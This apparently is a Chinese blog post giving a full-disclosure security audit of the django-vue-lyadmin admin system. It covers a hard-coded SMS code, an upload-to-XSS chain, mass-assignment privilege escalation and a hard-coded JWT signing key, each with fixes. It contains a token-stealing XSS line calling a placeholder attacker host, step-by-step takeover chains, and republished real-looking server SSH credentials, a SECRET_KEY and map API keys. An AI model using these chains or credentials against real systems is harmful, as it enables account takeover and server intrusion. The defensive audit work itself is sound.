django-vue-lyadmin 安全审计报告(完整披露):3 个严重漏洞可任意接管账号

53次阅读
没有评论

django-vue-lyadmin 安全审计报告

审计对象:django-vue-lyadmin(mini 精简版,Python Django 4.1.8 + Vue3 前后端分离中后台管理系统,含商城/支付/短信/WebSSH 等模块)
审计方式:静态代码审计(仅读代码,未运行项目、未发起真实支付/短信请求)
审计范围:backend/(178 个 py 文件,约 1.6 万行)、frontend/ 与 frontend_vite/(约 2 万行)、lyadmin_db.sql、docker/nginx 配置、git 历史
披露级别:完整披露(凭据原文公开,供审计与防御参考;若你正在使用本项目,请先阅读第 9 节并立即轮换相关凭据)

⚠️ 本报告包含真实凭据原文,博客公开可见。文中涉及的 SECRET_KEY、地图 API 密钥、SQL 脚本中的服务器口令均为源码仓库中真实存在的内容,任何线上使用该项目的实例都应视为已失陷,须立即轮换。


1. 总体结论

本项目是一个功能完整的企业级后台脚手架,RBAC 权限、数据级权限、乐观锁、事务等安全设计有不错的底子,但存在 3 个可导致任意账号接管 / 权限提升 / 存储型 XSS 的严重漏洞,且整体配置(SECRET_KEY 硬编码、DEBUG 默认开启、无登录限速、支付回调不校验金额、SQL 种子文件泄露真实服务器凭据)不满足生产上线条件。

等级:数量 | 说明

🔴 严重:3 | 任意账号接管、存储型 XSS→提权、垂直越权到超管

🟠 高危:6 | 密钥硬编码、登录爆破、支付金额未校验、真实凭据泄露、上传越权、WebSSH 凭据明文

🟡 中危:9 | 异常信息泄露、前端 XSS、JWT 过长、CORS、无口令 Redis、业务逻辑、依赖 EOL 等

🟢 低危:8 | 占位密钥入库、默认口令、日志敏感信息、GET 副作用等


2. 🔴 严重漏洞

2.1 短信验证码硬编码为 123456 → 任意账号接管(CWE-798)

位置:backend/apps/logins/views.py:202-207

# 验证码过期时间
codeexpire = 120  # 120秒,默认2分钟
# 生成验证码
# code = self.generate_code()
code = 123456                        # ← 随机生成被注释,验证码写死
# 存储短信验证码到redis
redis_conn.setex('sms_%s' % mobile, codeexpire, code)

SendSmsCodeView 不需要任何认证(authentication_classes = ()),验证码被固定为 123456,并写入 Redis。虽然真实短信发送(腾讯云)仍会执行,但发出去的验证码同样是 123456。

攻击链(无需任何账号):

  1. POST /api/app/sendsms/ {mobile: 受害者手机号}(60 秒/号限频,可等待或换号绕过)
  2. POST /api/app/mobilelogin/ {mobile: 受害者手机号, code: 123456} → 返回受害者 JWT(access/refresh 有效期 7/15 天)

影响:

  • /api/app/mobilelogin/ → 登录任意前端用户(identity=2)
  • /api/app/restpassword/ → 重置任意用户密码
  • /api/app/register/ → 注册任意手机号
  • /api/app/wxbindlogin/、/api/app/wxlogin/ → 绑定微信

修复:

  1. 恢复随机验证码生成:code = self.generate_code()
  2. 短信发送失败时不得落库(当前先落库后发短信,发送失败仍可用 123456 登录)
  3. 增加 IP 维度限频 + 图形验证码 + 单号每日次数上限
  4. 验证码尝试次数限制(如 5 次失败即失效)

2.2 任意文件上传(先写盘后校验)→ 存储型 XSS → 管理员接管(CWE-434)

位置:backend/utils/imageupload.py:28-70

for img in image:
    img_name = img.name
    # 图片类型content-type检查  ← 仅检查客户端自报的 content_type,可任意伪造
    if not img.content_type.startswith('image/') and ... :
        ...
    if not img_name.endswith(('.jpg', '.jpeg', '.png', 'gif', ...)):  # ← 注意 'gif' 无点号
        notimg_file.append(img_name)      # 只记录,不拦截!
    ...
    else:
        # ← 无论扩展名是否在白名单,文件都会在此处被写入磁盘
        f = open(image_path, 'wb')
        for i in img.chunks():
            f.write(i)

问题三重叠加:

  1. 先写盘、后统一报错:扩展名校验只是把文件名加入 notimg_file,文件本身已经落盘,最后才返回”格式不支持”。
  2. content-type 完全信任客户端,无 magic bytes / PIL 重编码校验。
  3. 文件名扩展名被保留:renameuploadimg 用 os.path.splitext(srcimg)[1] 取扩展名拼进新文件名,因此上传 x.html 会得到 20260828120000_123.html。

触发上传的接口(均为已登录即可,见 3.3 的越权问题):

  • POST /api/app/uploadimage/(任意前端用户)
  • POST /api/app/changeavatar/(任意前端用户)
  • POST /api/platformsettings/uploadplatformimg/(任意登录用户,仅 IsAuthenticated,无后台权限校验)

攻击链:

  1. 任意注册一个前端账号(或直接用 2.1 接管一个)
  2. 上传 evil.html(content-type 伪装成 image/png),内容为窃取脚本:

“`html

<script>fetch(‘//attacker/x?’+localStorage.getItem(‘logintoken’))</script>

“`

  1. 文件以 text/html 经 streamingmedia_serve(mimetypes.guess_type 按扩展名推断 MIME)从同源 /media/frontendimages/2026-08-28/xxx.html 提供
  2. 诱导管理员访问该 URL(或插入公告/轮播图)→ 同源 XSS → 读取 localStorage['logintoken'](前端默认 STORAGE_METHOD === "localStorage" 存 JWT)→ 以管理员身份登录后台

修复:

  1. 校验顺序改为”先校验后写盘”,白名单扩展名带点号且大小写统一(.gif 而不是 gif)
  2. 用 PIL 重新解码/重编码图片,丢弃一切非图片内容
  3. 上传目录禁止执行脚本,且对 .html/.svg/.xml 等一律以 application/octet-stream 或强制下载头提供
  4. 管理端上传接口加 CustomPermission 后台权限校验
  5. 前端 token 不要放 localStorage(改 httpOnly cookie 或内存 + refresh 机制)

2.3 update_user_info 批量赋值 → 任意后台用户提权为超级管理员(CWE-915)

位置:backend/mysystem/views/user.py:116-120

def update_user_info(self,request):
    """修改当前用户信息"""
    user = request.user
    Users.objects.filter(id=user.id).update(**request.data)   # ← 绕过序列化器,直接 update
    return SuccessResponse(data=None, msg="修改成功")

request.data 未经任何白名单过滤直接 update()。Users 继承 AbstractUser,包含 is_superuser、is_staff、identity、role、balance 等字段。

攻击链:

  1. 任意后台账号(系统管理员即可,个人中心菜单对全部登录后台用户开放)登录
  2. PUT /api/system/user/user_info/ body: {"is_superuser": true}
  3. 由于 CustomPermission.has_permission 对 is_superuser 直接放行(permission.py:52),立刻获得全部接口权限

修复:

  • 使用序列化器 + 显式白名单字段(如 name/mobile/email/gender),禁止 **request.data 直传
  • 对 is_superuser/is_staff/identity/role/balance 等敏感字段强制只读

3. 🟠 高危漏洞

3.1 SECRET_KEY 硬编码 + DEBUG=True + ALLOWED_HOSTS=”*”(CWE-798 / CWE-489 / CWE-16)

位置:backend/application/settings.py:32-37

SECRET_KEY = 'django-insecure-n=x1q3sl^3va9tb&ty$p1b+kob@eb%wh0bn&8yj&!bp05201314'
DEBUG = locals().get("DEBUG", True)      # config.py 中 DEBUG = True
ALLOWED_HOSTS = ["*"]
  • SECRET_KEY 使用 django-insecure- 前缀(startproject --insecure 生成),完整硬编码在公开仓库中
  • simplejwt 未单独配置签名密钥,JWT 使用该 SECRET_KEY 以 HS256 签名

影响:

  • 任何人可下载源码 → 用 SECRET_KEY 自签 {"token_type":"access","user_id":"<任意>",...} 的 JWT → 伪造任意用户身份(含 superadmin)。JWTAuthentication 的 AUTH_HEADER_TYPES 为 JWT,Header 写法 Authorization: JWT <token>
  • DEBUG=True:Django 调试页泄露全部配置(含 DATABASES 口令)、环境变量、堆栈、SQL
  • ALLOWED_HOSTS=["*"] + DEBUG:Host 头投毒(密码重置邮件等,本项目无邮件重置,影响降低)

若部署方按 README 修改了 SECRET_KEY,本项降为”配置风险”;否则按源码现状即为可利用。

修复:SECRET_KEY 走环境变量/密钥管理;生产 DEBUG=False;ALLOWED_HOSTS 白名单;JWT 单独使用 SIGNING_KEY。

3.2 登录接口无任何限速 → 后台口令爆破(CWE-307)

位置:backend/application/settings.py:405-412(节流配置被整体注释)+ mysystem/views/login.py:142-147

# 'DEFAULT_THROTTLE_CLASSES': (
#         'rest_framework.throttling.AnonRateThrottle',
#         'rest_framework.throttling.UserRateThrottle'
# ),
  • LoginView / CaptchaView / APPMobilePasswordLoginView / UsernamePassWordLoginView 全部 permission_classes = [],无 throttle
  • 验证码是 math_challenge(四则运算),可用 OCR 或打码平台程序化求解;且验证码无失败次数锁定
  • JWT 有效期 7 天,爆破成功一次即可长期使用

修复:启用 DRF throttle;登录失败计数(Redis 原子 INCR + 锁定);验证码失败 N 次作废并记录 IP。

3.3 支付回调不校验金额(CWE-345)

位置:backend/apps/mall/views.py:1642-1728

微信回调:

amount = (resp.get('amount').get('total'))/100   # ← 计算了,但从未与订单金额比对
...
if trade_state == "SUCCESS":  # 支付成功
    order = OrderInfo.objects.filter(order_id=out_trade_no, pay_status=0, pay_method=2).first()
    ...
    order.pay_status = 1
    order.save()
    orderpaysuccess(order.id)   # 直接置为待发货

支付宝回调:

if trade_status == "TRADE_SUCCESS":#支付成功
    order = OrderInfo.objects.filter(order_id=order_sn, pay_status=0, pay_method=3).first()
    ...
    order.pay_status = 1

回调验签本身是有的(微信 verify_signature + AES-GCM 解密;支付宝 alipay.verify),但两者都没有把回调金额(amount/total_amount)与 order.total_amount 比对。一旦订单金额被篡改(见 2.3 可改 balance;购物车负数量 bug 可产生异常金额订单),或价格体系变动,存在”支付 0.01 元标记大额订单已付”的链路风险(当前需先攻破金额相关字段或业务流,故定高危而非严重)。

修复:回调内强制校验 回调金额 == order.total_amount 且 appid/mchid == 配置值;幂等处理(pay_status 已为 1 直接返回 success);orderpaysuccess 增加并发保护。

3.4 SQL 种子文件泄露真实服务器凭据(CWE-256 / CWE-798)

位置:backend/lyadmin_db.sql:1629

REPLACE INTO `tb_terminalserver` VALUES ('99508bdc6e454f50ba414f52089928b6',...,'124.222.222.225','测试服务器账号','lyadmintest','lyadmintest0008','','',0,NULL,22);
  • 真实公网服务器 IP 124.222.222.225 + 明文账号密码 lyadmintest / lyadmintest0008 随仓库公开(项目在 Gitee 公开)
  • 同文件还包含 superadmin、admin 用户的 PBKDF2 密码哈希(README 声明默认口令 123456,可离线爆破验证)
  • tb_terminalserver 模型本身密码/私钥字段也是明文存储(apps/lywebsocket/models.py)

修复:从仓库及历史中彻底移除该 SQL 与真实凭据;确认 124.222.222.225 上服务已轮换口令/下线;终端服务器口令使用加密存储(如 cryptography 信封加密 + KMS)。

3.5 API 安全签名密钥硬编码(CWE-798)

位置:backend/utils/apisecurity.py:12

key = 'lybbn_sxfwanwlaqwanctcswan999666'

接口防重放装饰器 @ly_api_security 的 HMAC 式 MD5 密钥直接写在源码里:md5(key|timestamp|random)。仓库公开 = 密钥公开,任何攻击者都能为任意请求伪造 auth-api 头并通过校验(时间戳 200 秒窗口内)。该机制形同虚设。

修复:密钥走配置/环境变量并定期轮换;算法升级为 HMAC-SHA256;重放防护的 Redis 键增加 per-IP 维度。

3.6 WebSSH 终端:凭据明文 + 任意终端服务器可达 + 不校验主机指纹(CWE-311 / CWE-322)

位置:backend/apps/lywebsocket/consumers.py:62-89、models.py:16-19、utils/middleware.py:253-320

  • TerminalServer 的 password/pkey/pkey_passwd 明文存 DB
  • TerminalConsumer.connect() 对任何通过 JWT+WS 权限校验的连接直接 accept + initssh(),无”该用户是否有权访问该终端服务器”的对象级校验
  • paramiko.AutoAddPolicy() 自动接受未知主机指纹 → 中间人风险
  • WS 协议校验:sec-websocket-protocol: JWTLYADMIN, JWTlybbn<token>(token 以字面量 lybbn 分割,实现脆弱)

修复:终端服务器增加 ACL;密码/私钥加密存储;使用 RejectPolicy + 首次连接记录指纹;WS 协议解析改为标准 Bearer 形式。


4. 🟡 中危漏洞

#:漏洞 | 位置 | 说明

4.1:异常信息原样回显 | utils/exception.py:75 msg = str(ex) | 所有未捕获异常原文返回给客户端(含表名、路径、SQL 片段),叠加 DEBUG=True 泄露更多

4.2:前端存储型 XSS(v-html) | frontend/src/views/messageCenter/messagNotice.vue:40、platformSettingsother.vue:27(去标签代码被注释) | msg_content/value 富文本直接 v-html,若内容可被低权限者写入(公告、配置),则 XSS 所有浏览该页的管理员

4.3:JWT 有效期过长 | settings.py:424-432 | access 7 天 / refresh 15 天,ROTATE_REFRESH_TOKENS 开启但无吊销机制;单点登录 IS_SINGLE_TOKEN=False 默认关闭

4.4:CORS 全放开 | settings.py:299-300 | CORS_ORIGIN_ALLOW_ALL = True,任意源可读接口响应(未开凭据模式,但接口本身大量依赖 JWT 头,风险集中在信息读取)

4.5:Redis / Celery 无口令 | config.py:29 REDIS_PASSWORD=''、settings.py:497 | Redis 6379 默认暴露且无认证:可读 sms_%s 验证码键直接完成 2.1 攻击、缓存投毒、Celery broker 投毒执行任务

4.6:购物车负数数量 → 库存/金额异常 | apps/mall/views.py:878-896 | count 无下限校验,Redis hincrby 可减为负;下单时 stock_new = stock - count 可回补库存、total_amount 可为负(网关拒绝支付)

4.7:优惠券门槛校验错误 | apps/mall/views.py:1202-1206 | 用循环最后一款商品的 price*count 比对门槛,而非订单总额,门槛判定失真

4.8:订单地址不校验归属 | apps/mall/views.py:1104 | 任意 address_id 可下单,读到他人地址 id 即可用他人收货地址

4.9:依赖版本过旧(Django 4.1.8 EOL) | backend/requirements.txt | 4.1.x 已于 2023-12 停止安全维护;影响 4.1.x 的已公开 CVE 包括 CVE-2024-27351、CVE-2024-38875、CVE-2024-45230/31、CVE-2024-53907/08 等;simplejwt/DRF 等均未锁版本

4.10:地图 API 密钥硬编码为真实值 | utils/locationanalysis.py:66-67 | 百度 ak=LYGmcld2pgHXuocf4bqsyHABEfT9lf1B、sk=gAaECvBKFjeuLzlwVKNp5r80MRA7zMMe;腾讯 key=M4NBZ-STTK5-OARIA-Q7T4R-YO5OQ-MTB7O、secretkey=uCUAQVJKvx5OgvHuOYK5uFzI0CdisBvm,可被盗刷额度

4.11:支付宝网关指向沙箱 | utils/alipay.py:21 ALIPAY_URL='https://openapi.alipaydev.com/gateway.do?' | 上线未改会导致退款/转账请求打到沙箱网关

4.12:匿名接口泄露系统配置 | apps/platformsettings/views.py:222-241 | GetSystemConfigSettingsView 无需认证返回全部 SystemConfig 的 value,若配置内存放敏感项(支付/短信参数)即泄露

4.13:X-Forwarded-For 可伪造 | utils/request_util.py:30-36 | 取 XFF 最后一项记日志/入库,若反代配置不当可污染日志(日志注入面)


5. 🟢 低危 / 配置问题

#:问题 | 位置 | 说明

5.1:支付私钥占位文件入库 | backend/key/*.pem(5 个) | 全部为同一占位公钥(含 xxxx),且 app_private_key.pem 名下内容实为 PUBLIC KEY——开发者一旦按注释放入真私钥即公开泄露;git 历史已确认无真实私钥

5.2:默认口令 | README + lyadmin_db.sql | superadmin/123456、admin/123456;新建管理员默认密码 123456(mysystem/views/user.py:42)

5.3:日志敏感信息不掩码 | utils/middleware.py:54-93 | 仅掩码 password 类字段;短信验证码、token、支付回调(mall/views.py 中 logger.error 打印完整回调)明文入库/日志

5.4:Swagger 接口文档公开 | application/urls.py /lyapi/ /lyredoc/ | 完整暴露全部接口签名(README 已注明上线需注释)

5.5:GET 请求带副作用 | mall/views.py 取消订单/确认收货、address/views.py 删除地址 | 用 GET 改状态,配合爬虫/预取可能误触发

5.6:注册未校验手机号是否已注册 | apps/logins/views.py:406-441 | 重复注册触发唯一约束 → 500 / “数据有重复”信息泄露

5.7:exec(f"") 危险模式 | mysystem/initialize.py:43、apps/lycrontab/views/celery_periodic_task.py:44 | 当前仅拼接固定值,不可注入,但属危险编码模式

5.8:批量删除/对象级权限缺失 | utils/viewset.py:169-199 | destroy/multiple_delete 无 has_object_permission,仅靠数据级过滤兜底


6. 前端要点

  • token 存储:frontend/src/api/request.js 使用 getStorage('logintoken'),默认 STORAGE_METHOD === "localStorage" → XSS 即可取 token(放大 2.2 的利用)
  • 前端未发现硬编码的云厂商密钥;ali-oss 依赖存在(上传走 OSS 时注意密钥签发端)
  • v-html 共 2 处(见 4.2);tinymce 富文本编辑器内容需服务端做 HTML 白名单清洗
  • frontend/ 与 frontend_vite/ 为同构双份代码,两处均需同步修复

7. 基础设施

  • docker-compose.yml:仅定义了 django 服务;README 说明默认端口 mysql:3306/redis:6379 直接映射 → 配合 4.5 无口令 Redis,公网可直连
  • docker_env/nginx/my.conf:常规反代配置,X-Forwarded-Proto https 在 / 下写死、/api/ 下用 $scheme,注意与后端 getfulldomian 的配合
  • .gitignore:未忽略 config.py、key/、lyadmin_db.sql(全部入库)

8. 攻击链汇总(按可落地性排序)

  1. 0 点击接管任意用户:sendsms 硬编码码 → mobilelogin(2.1)
  2. 0 点击接管后台:SECRET_KEY 自签 JWT(3.1)
  3. 任意前端用户 → 存储型 XSS → 后台管理员:上传 .html(2.2)→ 诱骗打开 → localStorage token
  4. 任意后台用户 → 超管:update_user_info 批量赋值(2.3)
  5. 爆破:无节流 + 数学验证码(3.2)
  6. 直接打服务器:lyadmin_db.sql 中的 124.222.222.225 凭据(3.4)

9. 修复优先级清单(可执行)

  1. 立即:轮换 SECRET_KEY(换 get_random_secret_key() 并环境变量化);DEBUG=False;改所有默认口令;下线/轮换 124.222.222.225 的 lyadmintest 账号;轮换百度/腾讯地图密钥;从 git 历史清除敏感文件(filter-repo)
  2. 本周:修复 2.1(随机验证码 + 发送失败不落库 + 限频)、2.2(先校验后写盘 + PIL 重编码 + 上传目录禁脚本 + 管理端上传加权限)、2.3(白名单序列化)
  3. 两周内:登录节流、支付回调金额校验、Redis 加口令、JWT 密钥独立与有效期缩短、前端 token 移出 localStorage
  4. 持续:升级 Django 至受支持版本(≥4.2.14 或 5.x)、引入依赖漏洞扫描(pip-audit/npm audit)、上线前安全检查清单(DEBUG/Swagger/ALLOWED_HOSTS/CORS)

10. 附录

  • 审计依据文件索引(均可在线获取,Gitee: lybbn/django-vue-lyadmin)
  • backend/application/settings.py / backend/config.py
  • backend/mysystem/views/{login,user}.py、backend/utils/{permission,viewset,apisecurity,middleware,exception,imageupload,alipay,weixinpay,locationanalysis}.py
  • backend/apps/{logins,lyusers,mall,platformsettings,lywebsocket,address}/
  • backend/lyadmin_db.sql、backend/key/
  • frontend/src/(api/request.js、views/messageCenter/messagNotice.vue、views/platformSettings/platformSettingsother.vue)
  • 免责声明:本报告基于静态代码分析,未做动态验证;部分漏洞的实际可利用性取决于部署配置。报告仅供安全审计与防御参考,请勿用于非法用途。
正文完
 0
评论(没有评论)